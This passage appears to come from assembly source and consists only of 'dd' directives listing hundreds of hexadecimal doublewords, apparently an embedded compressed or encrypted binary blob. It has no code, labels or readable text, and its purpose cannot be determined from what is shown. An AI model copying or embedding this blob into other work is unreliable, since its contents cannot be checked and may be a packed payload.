607E1C34h, 0F8435CAh, 6C8FB1F3h dd 0C1E90C0h, 97FC58A9h, 0C838B20Eh, 31FB8070h, 268F89h dd 0B89AE3A6h, 0E8BEF084h, 0D0663301h, 0D6C9ED4Fh, 0C0C80CFDh dd 0CAC800E5h, 0F9214659h, 99003A5Ah, 86CF5479h, 75F7BDDCh dd 9116005Dh, 0C2CEAB1Ah, 0E400BAD4h, 0A2312568h, 2634D8h dd 0DEFA754Bh dd 4CA578B2h, 2CC3801h, 0AADB4A46h, 1300A869h, 620C39EEh dd 16146C3Ah, 947A86h, 74418CEDh, 601ADEh, 32730C0Eh, 0B0E34DE4h dd 18C264Ch, 7FBF7895h, 0A4D414FCh, 202B3D13h, 44E5592h dd 0C4361610h, 0C4E48C98h, 880AC05h, 74C07D13h, 831530h dd 0B07F4CF6h, 36AC7195h, 80416D25h, 0D0BA9388h, 0D57C0061h dd 266E4A09h, 3E506CC1h, 0C92EBC10h, 0DF81D861h, 0E541DD90h dd 0A4D0886h, 98F01844h, 0FFECDEF8h, 25F2400h, 854EDC0Ch dd 9BF61D28h, 5C550041h, 0E6B36CA8h, 0BC60A900h, 8580621Fh dd 6A51CF5Fh, 1722FC20h, 260A6D02h, 543D6CBCh, 7C621C82h dd 0DD50375h, 5C5350A2h, 72B83D00h, 1DF58D2h, 0B12DE1BBh dd 0C068711Dh, 0C500D901h, 4645BF20h, 0EE3DBCh, 0E2786656h dd 55C20949h, 71B6AAA3h, 0DA3C1900h, 61ADD3EAh, 67C13004h dd 2BE91E69h, 66EC701Fh, 0C11BE0Ah, 75D99F82h, 31150468h dd 0F908C633h, 4B08E542h, 0FD916EA9h, 2E30E606h, 921D30D8h dd 1620E2A6h, 4074455Dh, 6669085Ch, 220C981Ch, 2094DEA5h dd 0B5BA00DBh, 0BE05A4E2h, 38C3EDA6h, 0A4CB2BDCh, 63684F40h dd 363C223Bh, 79AC1E8Ah, 700FEB1Eh, 557099E9h, 0E046AB11h dd 8A18EE8h, 56DBE045h, 2420E389h, 7E5507AFh, 22E6D495h dd 0A478EA84h, 7F10E80Ch, 540BC8EBh, 136AC40h, 0A2414CC6h dd 2C073E2Eh, 4FFF0044h, 55813276h, 0A0F6000Dh, 877E333Fh dd 8A3866F8h, 8635B843h, 0C57DFA12h, 78EE0CF0h, 9060D7A1h dd 30E2F905h, 0A800A43Ah, 0FCFD0DD4h, 7605F487h, 94170056h dd 33CDCB75h, 9E3FD26Dh, 0AEB80FC1h, 0AAE20734h, 3F70B160h dd 0AF810F78h, 9A815CA9h, 0C091EC7Ah, 0B033F225h, 0A8E51894h dd 3010E43Ah, 1D80C74Bh, 271D23F7h, 16C5A180h, 0E404E776h dd 14803E82h, 2FFD112h, 6236D50Eh, 0E4A25BE9h, 0A0D8A99Ah dd 0E1B05902h, 0C069B4F5h, 35CA0Ah, 19ABE89h, 784DB19h dd 72002892h, 31C802BDh, 0A0BCAh, 2D7B9056h, 0DD2EBF18h dd 4759800h, 4B455CAAh, 0E6D20039h, 9D861DBh, 0C07692Fh dd 49F7C454h, 27359DF0h, 1DEC982Bh, 9BC07Dh, 0C5DA8104h dd 11CA48D1h, 0E2DD0449h, 54E3988Bh, 317AECE0h, 0A60E0D01h dd 48DB5FE0h, 3FDC4E4h, 0A55BE358h, 2808D8ACh, 100A0913h dd 0AE0C930Ch, 44B12857h, 86443BABh, 3D5C44F8h, 50597020h dd 652528FDh, 0EE4794Ah, 51881D14h, 88AD0908h, 0D0915019h dd 1CA53800h, 1D03B423h, 0A9089709h, 16D28049h, 0EB8EB5Dh dd 90BF44F6h, 2C20C64Eh, 6E89A7Fh, 0C5C7FF00h, 711BE1DDh dd 0C22E00CDh, 0ABAFE0F8h, 0B3013E19h, 7B371D57h, 3AE49A32h dd 0F661004Ch, 0E464A1B8h, 76000DBBh, 0B2C1C92Ch, 0D3596Ah dd 7834D6F3h, 45C64823h, 424DE300h, 82AFE677h, 179F01FEh dd 4A61F022h, 0E2C8FBA4h, 0D200CAFFh, 12F8F998h, 0AB9AA6h dd 67A8D848h, 791B73D7h, 192C2254h, 3DF38709h, 2C7E809Ch dd 6013A333h, 0EA8E2A5Bh, 3E61030h, 0A2AFA5Ch, 0F406D175h dd 4ECC560Eh, 1462060h, 6E85A8h, 5A8BD557h, 175CF563h dd 2FF91D2Eh, 0EDB1E501h, 5681F359h, 0FDCAE189h, 0C453C895h dd 0FBD5CC00h, 0E2F1391Fh, 2C78C02Fh, 2235B731h, 52611500h dd 0D1558C11h, 340E4889h, 0ABD4300Eh, 0EC129D00h, 14008AB1h dd 68FEE14Ch, 7148BBF7h, 8CEF00A8h, 0E921581h, 7B1CF2F0h dd 9F008096h, 1650338h, 6DEF0023h, 0B1F8B386h, 0EC0567D5h dd 0B2712E6Ch, 2620C5C0h, 0B945001Ch, 0FFF3EA15h, 0E900C575h dd 1431DB4h, 1FD66FCh, 0C662CDDAh, 0C44B3465h, 0AA008961h dd 70F82E51h, 6BFF12h, 0A2D86D0Bh, 8CFC6A0Ch, 94D4C912h dd 2F2C9400h, 3D42161Ch, 33005A4Dh, 6D051F7Dh, 12001122h dd 4F297774h, 0EDD3ECh, 7B0A04B4h, 0F01F9FD6h, 0A5145100h dd 0DD43917Ah, 0A04E1482h, 0A901975Eh, 0C05C7473h, 968C842h dd 84BD000h, 8DB390D1h, 6C8C007Eh, 586DB0E2h, 0A006728Eh dd 5B96F57Fh, 10630090h, 298A6EF9h, 3C7C3E01h, 0F4397407h dd 41DE9A92h, 0FD6BE459h, 0D63060h, 8BC18F7Ch, 1154CD55h dd 0D70CD4A0h, 0E50A1700h, 2D45E928h, 374E00D2h, 4826CF6Dh dd 92002BB6h, 5DBBA306h, 2FFBE4h, 0EBF28DC9h, 38A42749h dd 3D51D500h, 3ED246BDh, 77DEC620h, 630E9019h, 4036A70Bh dd 75AABACFh, 0FB41004Ah, 0E10DB63Eh, 4C900E07h, 1EC55C0Fh dd 0A55E03DBh, 8334D0C0h, 7E970035h, 0C4BFFBB5h, 84001118h dd 52A3DF72h, 1624587h, 6E59EEEDh, 200A8F73h, 1075D37Ch dd 949AB400h, 3D5C641h, 33A000CEh, 3997A67Ah, 1158A805h dd 78F70014h, 0F97E9AF0h, 137DCAh, 0CF29BFC1h, 0D6FA35B3h dd 27B72400h, 1D15FE6Ah, 0D7872C5Bh, 1F60306Bh, 0D100F2F5h dd 4838C7F0h, 3C45D34Ah, 0B3002D4Fh, 44280DEBh, 290076ADh dd 0DF548C21h, 0F9E3539h, 1A694B7h, 0C467ABA0h, 961EB385h dd 0B2EC6FDCh, 0CCBF8F00h, 0B67207h, 6193A8C2h, 0AE42B775h dd 0DCA8E00h, 62630941h, 0C6AB1E0Fh, 596B8169h, 0C8CDE5AAh dd 0E00DADCh, 0D3F8633Eh, 1EF3E3A6h, 8015D9D1h, 0A7CE5E17h dd 0F50BFEA2h, 80597382h, 0F1432543h, 0DE120124h, 764C71F4h dd 48020D1h, 0C5EE840Ah, 4513B00Ch, 447F2C00h, 0A0F363E4h dd 0A4191F0h, 0E548B22Eh, 0B7C400AEh, 588E1CAFh, 0BEE84500h dd 9A79B00Fh, 0CD9C0582h, 10605944h, 750090A1h, 7050F09Eh dd 25008AB3h, 1B8F2F78h, 0E02ABEEh, 4E987EA6h, 39CA6BE1h dd 0B698FFCEh, 0BD00D8B1h, 0F7E54631h, 0D1FC63h, 4C4DDE66h dd 989FA74h, 0FF22CE00h, 419C644Bh, 0E4FECCh, 0ED0D0782h dd 0D6EF2F2Dh, 6E10A700h, 0B3316C85h, 4C9B0081h, 257A0224h dd 3701E113h, 9247C03Bh, 72D8D448h, 536600D8h, 77A6EE9Fh dd 390785D0h, 0CEF77C50h, 6FBA9CE0h, 28356063h, 2C84B1AEh dd 4D156807h, 6EE0E058h, 1E5C553Eh, 349BCA0h, 61FB1882h dd 38D046C3h, 0F007C59h, 36C6D831h, 7F64860Dh, 8876C7D2h dd 15F920DFh, 0D01D6735h, 2CC09251h, 0AD7AA6BEh, 1EB30732h dd 513344D4h, 80E8566Bh, 92BF2288h, 671A4Fh, 11C2CCBAh dd 2168C3CEh, 600C4E4h, 0F26B12AAh, 9C0740h, 5220D966h dd 0D0E6608Dh, 92DF5800h, 0F6C26983h, 113100E7h, 67C656D7h dd 0D4F0660Eh, 0BB768D01h, 9A1C9214h, 2FD81C21h, 3E57009Ch dd 0BCD5E0A2h, 0DC009B2Ah, 0DAB34394h, 0ED8D2C4Bh, 7111EECh dd 0F4E76145h, 7894E0FCh, 50006834h, 5BD1BDFAh, 1F7954h dd 5AE8032Ch, 0A444D8E3h, 0E664807h, 9B70B0C9h, 0F7ADF0h dd 734F8C4Bh, 38C4EE30h, 0CBDC2700h, 43C9024Ah, 641348FDh dd 0A10A3700h, 0F4B666A8h, 0FF3B5400h, 2E2FE399h, 405307AAh dd 67A5A401h, 553370B6h, 3D07728Ch, 6C90A9D6h, 44739780h dd 9B9D5041h, 0F8232608h, 7F810214h, 0AC661233h, 0FB56E601h dd 3B0714DAh, 82C70h, 0B43A5AF2h, 0CBB0EE2h, 3188BF01h dd 0A7F51B72h, 1994DDCh, 47710274h, 20E37BEFh, 290063A8h dd 0C5C158C8h, 0F0590Fh, 0E580A0DFh, 7AA825C7h, 33326A01h dd 2F46AAE8h, 93A1E0E2h, 0A1470F14h, 0B82D996h, 0C26002E6h dd 6400C301h, 8DEFC6D4h, 0A09125h, 84F874B8h, 68239763h dd 8060D93Fh, 76B0481h, 1F176D6h, 13B9B4A8h, 0D08FB747h dd 0BC000B08h, 3988879Ah, 8D31ADh, 9ECE4AD7h, 0A13835A0h dd 0B2083D0Eh dd 28C960E5h, 81A40Fh, 0F9D3D9A6h, 0DD74C2E8h, 1BDF000h dd 8F794057h, 9767026Ch, 0E3B43DB5h, 862C2840h, 55F05101h dd 74CDAA69h, 7553DCh, 0AFA5C8ECh, 8505641Ah, 89B76D00h dd 69B29813h, 8CAD002Eh, 9B930ED0h, 0A93DBDB4h, 97390853h dd 503B80D4h, 87E49A3Fh, 0FA04D875h, 23475CE5h, 12E704A0h dd 4CE245Fh, 8119B578h, 0D490A7E1h, 0EB00D481h, 865691AFh dd 79FD959h, 0A13A8A89h, 0A4E1B021h, 810F47A9h, 0E0B95BBDh dd 846F865h, 0CC550090h, 0B7438501h, 1716F1C0h, 0CC037B15h dd 0DB3D06CDh, 381A828h, 0B2F00094h, 82A025B6h, 5F0BD490h dd 80E4B92Ah, 28C7A26Dh, 0EA1C2818h, 0F051A0DDh, 0A1E205h dd 4A44C587h, 3E1A96EEh, 793A6F09h, 744E35h, 0DAE0A641h dd 5B474FB1h, 3E63BB01h, 70CF594h, 4B48F4h, 8CCF2432h dd 5BE4019Bh, 85A8FC00h, 0FAF6BA08h, 0C8840069h, 0C9F8A23Dh dd 15C8360h, 7BDC00F9h, 0FC0DBB08h, 6A580078h, 0B135137Ah dd 0F1C007B6h, 9EFA3860h, 71F00028h, 0FF5E6F2Fh, 6D009CF5h dd 0B1845270h, 1918967h, 4C77E6BBh, 21B40294h, 0F7DCF8B8h dd 0EFAF2100h, 0C534AD54h, 0FFEE0072h, 0BF9AD060h, 300E2F4h dd 0AADE31E0h, 148B7A76h, 0D0F320D1h, 15C03700h, 3A5F171Eh dd 0B1686100h, 0F8DB6D0Fh, 7DE812A6h, 7EA0C0A9h, 70259937h dd 5708817Bh, 0FF72A2h, 0B3D49C99h, 8E44AD01h, 2BA7D001h dd 81CC5B6Eh, 0D480208Eh, 0C0C85E65h, 0EACF55F0h, 54AEDA00h dd 0A0C0BCC3h, 5BB50003h, 8169D170h, 9026069Ch, 0F1004438h dd 75443C63h, 15F30918h, 0E8600D26h, 0B300BA57h, 0E63E7854h dd 62104Ch, 88506BC7h, 0D5C517Dh, 0CCB028C0h, 1D9805Fh dd 2F4D2D05h, 0C4645B71h, 3010E18h, 17DF84E7h, 0CF8551Fh dd 38056216h, 9F10CB6Fh, 0C0DAD8F6h, 4B00FA09h, 0FBB8170Fh dd 0C27F2Ch, 1A0BD429h, 5F610A0Eh, 836C5D3Bh, 0A2552F5Eh dd 0BC501009h, 0F17776CEh, 0CCA4E750h, 4000A070h, 652B2DCBh dd 1AB06Dh, 8D0AF034h, 1E7C9D0Eh, 0B38FF900h, 4413DFFCh dd 35C90DBh, 4739904Bh, 0E5C83DADh, 2C00748Eh, 1AFF30FEh dd 0A01322FCh, 0EAF2B94h, 160BF577h, 48E5DA0Eh, 914408CCh dd 0D2EA4280h, 4A4614h, 0AF9C2004h, 9701822Fh, 7CB8C254h dd 0A080F312h, 20390800h, 0B138DA1h, 3DE30F6Fh, 11877C00h dd 0DBE59EB4h, 7F96E580h, 0B8864C00h, 3D1B57EFh, 0B5B600F1h dd 48B39128h, 0EA008CF0h, 83084B4Dh, 0FB69DFh, 772BDAEFh dd 0E63003ABh, 80317C3Dh, 46B8229h, 15A955Fh, 1DB0CB33h dd 0CC9BBF9Eh, 200058C1h, 0AFFE5CC2h, 33929816h, 0A5B80FC4h dd 9F717088h, 80C09A53h, 33B0A4E9h, 0A7560050h, 6BFE8723h dd 9F1DFFC5h, 0F31D0F3Eh, 834A7445h, 0A068844Ah, 0A6E75B04h dd 7A78090h, 49F0B8F8h, 5A009080h, 4B0FCC50h, 881F5651h dd 9B00B1BEh, 0AF9FFB19h, 1FB24F8Bh, 4176C04Ch, 2FB84D65h dd 0B4390224h, 61CE87E0h, 1C492C4h, 26673758h, 24478E96h dd 3C09B6A8h, 0A2EF0650h, 809AD120h, 391E8BF4h, 844B000Dh dd 0FA72281Dh, 0BB06A345h, 0F177997Fh, 0AD5F0030h, 0B70825FBh dd 4300FC59h, 0B2A4BDD4h, 6017EA9Dh, 6FC988DFh, 47F637B3h dd 75B8BF5Ch, 23246D00h, 0D482E6D0h, 69730EF0h, 0D14E3DF9h dd 805F96CBh, 0DB62F69h, 7D2B3F18h, 276D0B80h, 62606328h dd 0AA018800h, 35C1A7E2h, 121D0096h, 490F10B8h, 0C2300C0Dh dd 0A587F83Eh, 216400E4h, 6318B544h, 4F00A693h, 107E82FAh dd 368197h, 6A1978A8h, 7B2CF945h, 8BF60F17h, 69C62C07h dd 0E0940BB0h, 31C40053h, 25E5A8E2h, 4C1D70A9h, 0B0687E27h dd 123B139h, 93B749EAh, 0F0408203h, 7E365C9h, 69417011h dd 4B6E80BAh, 5B003C3Dh, 42626AE2h, 0E0C4084Ah, 609C82h dd 73CAE096h, 0FF03B89Ch, 0CD7724D4h, 5E801D0Ch, 40CF4487h dd 1C4E05F6h, 38CCF041h, 0A940C17Bh, 58E3B7FBh, 0E70B18CFh dd 0A180BE49h, 2B608C26h, 320FA000h, 21D9E3Eh, 379200DBh dd 3DF8529h, 0B0013DB1h, 5AD2B2FFh, 71FC8B76h, 50EAFC08h dd 98C854h, 14F939D8h, 0A905F1C5h, 6AA7C000h, 575A2443h dd 0DA7C263Ah, 952C34h, 0EF0A863h, 3E0023FBh, 29777E92h dd 9165BFF3h, 2D813958h, 8F6856FCh, 0C989D4EEh, 9700B2F8h dd 0A88D0D8Bh, 1CE5DE64h, 41A549Eh, 800837D2h, 2DE4EFA8h dd 0CE007F76h, 7DF0AC4Ch, 7420973h, 55ABC9A7h, 0DD7B9059h dd 4C01A2AEh, 98CAE32Dh, 0C360C17Ch, 57EE002Fh, 0AB67D5Ch dd 6C2C43D8h, 0D90190F2h, 0AA710D16h, 51F4CEE1h, 5499001Eh dd 8794E04Ah, 0EE01C80Eh, 0E6436C50h, 0BC60B617h, 0B8690789h dd 0D31A6B95h, 6C809E2h, 23000734h, 0D1D4338Ch, 33A1140h dd 7F971E63h, 0D580A529h, 0F500A00Bh, 0B81F7EFDh, 4C4BC960h dd 5E1E0EADh, 3C668EB9h, 0B02F1580h, 0E3027881h, 5048B4C9h dd 6D716033h, 38CE004Ah, 0F2318E1Ch, 0DE03A6EEh, 1E5C6E6Fh dd 0DD180036h, 0FB92034Ah, 0AA0037F8h, 380D30E9h, 2783BEh dd 0BF113671h, 0F186DCCBh, 3320E00Fh, 0EC32E02Ah, 0A06AD489h dd 1236C4C2h, 0F0480E99h, 0B81E61BEh, 0CF47AA50h, 40EEF0C3h dd 986869B3h, 0CBDC008Dh, 41AD6E49h, 53983E9Dh, 80C75C1Fh dd 0BD33D1C0h, 2CCC13Ch, 63DB8315h, 0F760AB48h, 0E200FB73h dd 0A6D3A8DFh, 3AC29C42h, 0F5E9FAAh, 0D4AB7738h, 666EC4A1h dd 0DF86D0A7h, 96021E75h, 0FA3F936h, 24E458h, 227697C4h dd 5D7A7278h, 0EAC50D3h, 148A1F02h, 5868713Ah, 44004605h dd 90B0C345h, 290918h, 3724801Eh, 0FE2DB47Ch, 0DD009EECh dd 87E76922h, 0EFDCAD1h, 0EB0E5D55h, 6709CBA9h, 0F9750020h dd 0CA076A07h, 4923C503h, 4E8B0CC0h, 89E70A61h, 3CEF9037h dd 149CD213h, 92C0E460h, 4FB92A5Ah, 1E203Fh, 0D0E24DE7h dd 0FCF1C6CBh, 1BCE018Ah, 0D95189E5h, 0A7543004h, 8066763Eh dd 0B68FFE6Ch, 4874C853h, 11C0075h, 0ED0900DAh, 9AE4433Dh dd 95724000h, 3B4E499Fh, 49FCB223h, 0D7097CE6h, 0E493627Ah dd 0D0FF6D93h, 0CC65A5C8h, 0A1BAF500h, 84F47EE1h, 0E5313061h dd 99EAC680h, 233EC800h, 5C1D2936h, 0B20E1D40h, 59883006h dd 0AA1839FAh, 63103FDAh, 28B0720Bh, 2DFC66FDh, 0C880EBACh dd 2FCFC0C9h, 63E13812h, 0B50FA700h, 367E85Ah, 0D9F9174Ah dd 6203BEF7h, 3DFFDD4Bh, 561AC81Eh, 0C27B2E61h, 0C0F81812h dd 0B61775C3h, 7F0086BFh, 0DECFFB44h, 4B310F4Ah, 0E98DDA14h dd 0EA78D828h, 23644E07h, 9E0030C6h, 17D405h, 21B3954h dd 1EA70637h, 6012111Ch, 9A838D80h, 1F21CB5Ah, 404DF108h dd 0D556DB0Ah, 0DD70F2F5h, 8F1E7A0Bh, 12E200D1h, 55BBA82h dd 2BDFA9FFh, 6D2CB0B4h, 1797E800h, 0A2A1ED88h, 92D00734h dd 70C10520h, 8A3D7427h, 0D5C4122Eh, 85A70201h, 22E8B2F8h dd 0FF0F003h, 0C1A4DF72h, 0EC9A6500h, 1A002690h, 0F5A4F3Eh dd 0D07837h, 0DA2B035Fh, 0BF98366Fh, 0A4646624h, 6705AB97h dd 8402E002h, 4076DF0Eh, 2C0827D5h, 64701282h, 0B950C045h dd 83004125h, 98811B61h, 98A03CD7h, 0D6B50009h, 0FD6BDF19h dd 991616EEh, 4503C1DBh, 0E5301755h, 0B6E1F404h, 12AED47h dd 707A2FFEh, 0C503728Dh, 93306B4Eh, 67E5B833h, 0D7D81650h dd 2B9401B4h, 40A42CF7h, 49550ACBh, 0F06F0600h, 69EF5DD8h dd 299007C9h, 30A2DDC6h dd 38E3E913h, 0CD18147Fh, 4CE01235h, 55480E2Bh, 0C620423Ah dd 0D9D1D6E4h, 80AD7C3Fh, 206AF36h, 220F7F9h, 0E3BC0877h dd 9CE1D6DBh, 0CC58FA24h, 99854C00h, 3E218D04h, 2C9D1D57h dd 0C819971Dh, 57E3F14h, 0C60066EAh, 4494031Eh, 1EE2DABCh dd 7A96D379h, 0F08A0600h, 0EE7D898Ch, 8D2958E2h, 4301900Dh dd 28A4E4BEh, 156E5CCh, 0CFDDB344h, 0E4574B0Eh, 0AE2FF6A6h dd 0C3D001h, 0D5688188h, 0AA43F5DBh, 0F9D3D100h, 0AD1BA2DEh dd 85540B06h, 74000117h, 12B88A2Dh, 4441D0B6h, 0BC247803h dd 4E183EA8h, 38C7CA0Bh, 61292060h, 58451401h, 11DB62C0h dd 84A6D8h, 7F810133h, 4E3999ACh, 0A9F7FA50h, 0B8F7261Ch dd 96076B2Ch, 8B00A77Ch, 0F2A84F66h, 27F0002Eh, 8E88BBEEh dd 610108E1h, 0ADAB1CE5h, 0D0F06494h, 9BCF30C1h, 47C0A821h dd 61BC9F07h, 29F26826h, 532613Ch, 6E6DE4h, 0A8403DE9h dd 702C3BBh, 694F3000h, 7C5ECADCh, 4E9A00BFh, 64FA0F2Fh dd 3E26A14Dh, 0F00E4070h, 0BA3F604Fh, 0E45BE7D2h, 0A61F0172h dd 0AE2DFDBFh, 2CB47442h, 0C2000773h, 0E3ADC3CBh, 48D3EDh dd 0D47F5CCAh, 8EB203F6h, 84681205h, 802FE6Dh, 0E0D7C256h dd 141F068h, 0A14AE6A5h, 411B937Ah, 949F03F7h, 0AD4960h dd 1F0F500Ah, 0E81745C1h, 92C0E9B4h, 4C44A042h, 977A0388h dd 9DD43D65h, 939E0802h, 0F0BC321Fh, 951014ECh, 4C3D2CA7h dd 1AA4A887h, 5E9240AAh, 9700A6D6h, 1126B409h, 760B955Dh dd 0C520C33Ch, 38007C5Fh, 7D91CC9Bh, 0A047933Dh, 60B93140h dd 521A2079h, 0E5390FA9h, 3D72817Bh, 9E8D9512h, 0AFA47980h dd 0BA329BA8h, 0E27D4CA0h, 0F77B600h, 55E5E7E1h, 6C5A38F6h dd 0BFD84300h, 794F1E15h, 46A45700h, 78CC7A80h, 0CB3A020Dh dd 301803DFh, 5B91C1C0h, 71FA2D00h, 0BFEFE175h, 6C0A0064h dd 0C2868E5Eh, 7C03D010h, 0F96E9511h, 23438839h, 65F00E0h dd 624BABB3h, 42007A24h, 756DFC81h, 144907h, 8798CC60h dd 534582F9h, 6206DC1Dh, 7397EB87h, 50B6C530h, 2A7A0003h dd 81800CC1h, 43004D48h, 0A8A0B93Fh, 15BDEBh, 9E496124h dd 52E33427h, 9B113800h, 0D9CF9622h, 0C0540AE6h, 9EB4E4FAh dd 0F2EE04CAh, 0BA60B813h, 7A15A60Ch, 0BFFC0F10h, 9A372300h dd 0BC87EDD7h, 78B798Ch, 8532FD9Fh, 808A8553h, 0DBBF9B52h dd 0A4F94707h, 6EA12DF8h, 6A64FCD4h, 11B6072Eh, 1716A2B5h dd 0E529F308h, 0E6CDA6C8h, 0BA57CCFFh, 83A8673Fh, 2DA02AEAh dd 5D2FE0D9h, 0C856006Ah, 0BA29D16Bh, 193D2301h, 59528594h dd 0C31F5348h, 0E67FD800h, 0EE0B58h, 322F14EAh, 1EC3A5ADh dd 37BBA605h, 0C000E2DDh, 59483169h, 0D96700F6h, 95276F90h dd 30C038AFh, 4863A34Eh, 46F900E3h, 6ACAC374h, 717EF816h dd 89E92300h, 5ACC1B4Dh, 7F431691h, 3FA100BCh, 0E5E30197h dd 0F8CD2805h, 90C716ECh, 65E2D150h, 26217DADh, 12081Eh dd 0C5978182h, 641CC273h, 551C4D4Ch, 39E3DCh, 7ADA04F6h dd 2416E4FFh, 15B6C0h, 0B059E0ACh, 25B8FA34h, 0A4290160h dd 0D9C19Bh, 9F2B7F45h, 710B56A3h, 2DE45807h, 22371D63h dd 73AA44C0h, 0F0B10564h, 1832C8h, 0D08ACFB8h, 0ACFEC70Dh dd 2DDA0200h, 64E8EF70h, 14A4171Eh, 0C2F42044h, 0A06EDADh dd 0C51B792Bh, 398D0340h, 0C4B7B1EBh, 0ABD01000h, 0A426AFA5h dd 0E6AD7E71h, 58BA4Fh, 0B714089Bh, 0A7E7A0E0h, 21A3BA00h dd 700BBC05h, 0A1F879h, 1196312Fh, 0D6D2CBAAh, 99EE7C00h dd 0AB147502h, 2A220939h, 2C80D4D1h, 3CD51F7Eh, 0CA8DA203h dd 0A86FFC86h, 38896Eh, 0EA3E9B0Eh, 368332A8h, 44ACC600h dd 0B90DDC35h, 7B1A0063h, 46BE19C0h, 0E7006801h, 0EB6EB26Bh dd 508370D8h, 1BBC81Ch, 1A6650F1h, 0C4D125E9h, 57008E0Fh dd 5E237D4Fh, 346DFAAh, 737143F4h, 0E900DBD2h, 0BF16726Bh dd 2107B8h, 8F253875h, 1BAAFE69h, 0B9DCE303h, 0DAF1410Ah dd 319CE0A7h, 190D005Dh, 6A1082FEh, 4E00F7BDh, 4CCD2FD7h dd 91583Ch, 2711CC2Eh, 0EC402A02h, 8DE66207h, 0E480CFE1h dd 93AD4Bh, 79DC21E2h, 480B81F6h, 9AD7B203h, 0C5B81241h dd 0ACFEE440h, 2E8886h, 0C59C76AAh, 3624D983h, 14952F0Ch dd 2B7CD4h, 3E5CFABh, 8362E90Eh, 4F762A12h, 8889D441h dd 0DC403D49h, 0B4D0AC86h, 0FB0400CCh, 0F0C8F411h, 59749100h dd 8BA6364Fh, 1CE12858h, 0DBAD00F2h, 279B8156h, 0FA7C7B15h dd 9D0D710Fh, 60202CC4h, 16B290C0h, 3DEAF1h, 0D85F1596h dd 3000E062h, 358D8A87h, 7872FDh, 8B608691h, 6F0F2B3Dh dd 0B0044305h, 8847BE2Dh, 9C6109C8h, 3D5DA49h, 0D60BECh dd 8F171B3Bh, 0F2788D7Bh, 1019B933h, 0EC18092h, 0F70100EAh dd 18ACD355h, 41015875h, 0DC152F38h, 0D2E8921Fh, 78340061h dd 0E21ED66Eh, 62F00C93h, 52007076h, 96110FFEh, 1CB98A04h dd 7DEDFAh, 2376E9E5h, 0C30AE2E7h, 9CCCC40Ah, 5EA59587h dd 8799D0B0h, 30E11C15h, 1D598058h, 0FCC92547h, 2D4AA800h dd 3250CF6Bh, 0A10600C0h, 0EDB28A92h, 6A00CE0Ch, 0DD617DDCh dd 506930h, 0EC32B152h, 0DBF3BC6Dh, 913C282Eh, 58DB622Dh dd 15FE8Ch, 6CA3129Fh, 9236BF9Eh, 33557D03h, 0F4ACD6C6h dd 0DD28F480h, 43D40CF3h, 0E110BA39h, 44DF3600h, 0E0C5B1B2h dd 0EC8902B4h, 5711B934h, 54ED2460h, 0B0776907h, 13F061B5h dd 3AC893C9h, 0DC873DBDh, 0D4126392h, 5C1C9091h, 0F8009C11h dd 4F9871C4h, 1E74A77h, 0B537B2B6h, 0F011D3B0h, 8C075406h dd 0D8957AEDh, 0C5A3DA10h, 0FA2600A2h, 9179246Ah, 0D4705540h dd 7C8D3200h, 0F36B9C05h, 0D53B01DFh, 25C0611Ah, 527A70FCh dd 4ECBF601h, 12847615h, 0EE9D3D0h, 47A01351h, 636A85A0h dd 0A40003BCh, 4D754ADCh, 0B4CC42h, 2E6DED37h, 0ECC7B20Fh dd 97945007h, 43B051B0h, 0E526E45h, 0FE72DCBBh, 5BCC1080h dd 7C00EC83h, 490C96BDh, 1BE45Fh, 61A732DBh, 0EED0E938h dd 77FBB400h, 0AE1474F4h, 0E4C800C6h, 0E1FFE86h, 6F0A9206h dd 0D68E09DCh, 85A48B00h, 0F01EAAh, 49BE43F5h, 0F160BD98h dd 885D6100h, 0E17D54C5h, 0DCA2008Ah, 55F622EBh, 0B008C48h dd 2B212EC9h, 0FAA71E0h, 4BBC584h, 39FCA5C2h, 207DB061h dd 731C3BD8h, 71C1D2F9h, 0F1B03720h, 0ED234880h, 5421B7BEh dd 6D67A607h, 313074ADh, 539AC4h, 0FF2471A7h, 1499392Ah dd 0CAF2C500h, 0F6A0333Bh, 0B6A246Bh, 562F0090h, 406DAE3Ch dd 8C0E9C00h, 685245C8h, 0EDE50E31h, 9680B83Fh, 0B5A74137h dd 5000F75h, 8A3AE01Fh, 1D6CD318h, 0CFF02909h, 5420451Bh dd 9935470Dh, 8CEBC400h, 0A5D62441h, 0F8C812E1h, 8DB86Ah dd 0F14769C9h, 738B02BEh, 0C4AF261Ch, 395DA8E0h, 0F74E66h dd 0D86D9FDEh, 0D535292Eh, 0DD6BCE00h, 34545694h, 0BE9700D6h dd 1B2EBD12h, 7C00B9D3h, 632FA079h, 0B43A20h, 0B7D66D75h dd 0BFCE8178h, 0F935170Eh, 7D65A67Ch, 1264F071h, 88AA4C42h dd 973630B8h, 4A1120ABh, 32FC7292h, 97DC220Bh, 0EEC507Dh dd 6E9E4095h, 0F4E3409Fh, 15243296h, 0FFC029DFh, 7884D63Ah dd 89BC0020h, 93B826E1h, 0CA353913h, 7E804091h, 54B43142h dd 0EB61C0Eh, 0A130840Bh, 0A78BA5h, 0C2AC2908h, 1F121647h dd 4C8BDC6h, 0ED18080Dh, 0A6608E7Bh, 0DB7ADCh, 0DE13D648h dd 1EB89054h, 0D596707h dd 605ECC0Eh, 615A82E4h, 27A04h, 0FAC55C37h, 681FC38Dh dd 21000DEEh, 0AD16EE25h, 0D42646h, 632E2BE6h, 0FA486AAAh dd 6E18C007h, 0F8175AF9h, 9EDD3860h, 6F7C002Ah, 708FFA4Dh dd 0FB00A6D7h, 0DBA5C576h, 7AD82h, 0ED3C185Ch, 0F40FA7E0h dd 8316A207h, 6E07E0Ah, 39758D9Ch, 3900F96Ah, 0E602BAB6h dd 0FB00B003h, 811611Ch, 0A069DA09h, 0BCA681h, 0E1CB1DDBh dd 0FB8BCD47h, 0B2067900h, 285C2AA4h, 0F3E40016h, 8D4C5B84h dd 0E8002C7Ah, 51791006h, 1460496Eh, 0E058E359h, 7FE8C880h dd 1D741753h, 4754BF00h, 57AEA876h, 94710FE3h, 0F420D64Ah dd 0C7130942h, 18A0B024h, 646D3B8Fh, 3AC01AA9h, 583A33CCh dd 2165B3A8h, 93EA800Ch, 8377467Eh, 396DB601h, 69ABFC7h dd 1FFB8880h, 0EE03CAEh, 1F4B9058h, 700B58A3h, 0D62800BFh dd 49449904h, 0B000007Fh, 0F6F28BBCh, 9D19ECC6h, 1708C843h dd 0D07C092Bh, 3C0E2500h, 401E8CF8h, 7B4733C3h, 0AB10FFCBh dd 24FE8FEBh, 4144E041h, 0EF5E4604h, 0D089086h, 182AA29h dd 0EE899A27h, 0A8003BCCh, 0C1BF3669h, 1A372E45h, 1FDF0E02h dd 0C0E0658Bh, 0BF16300Ch, 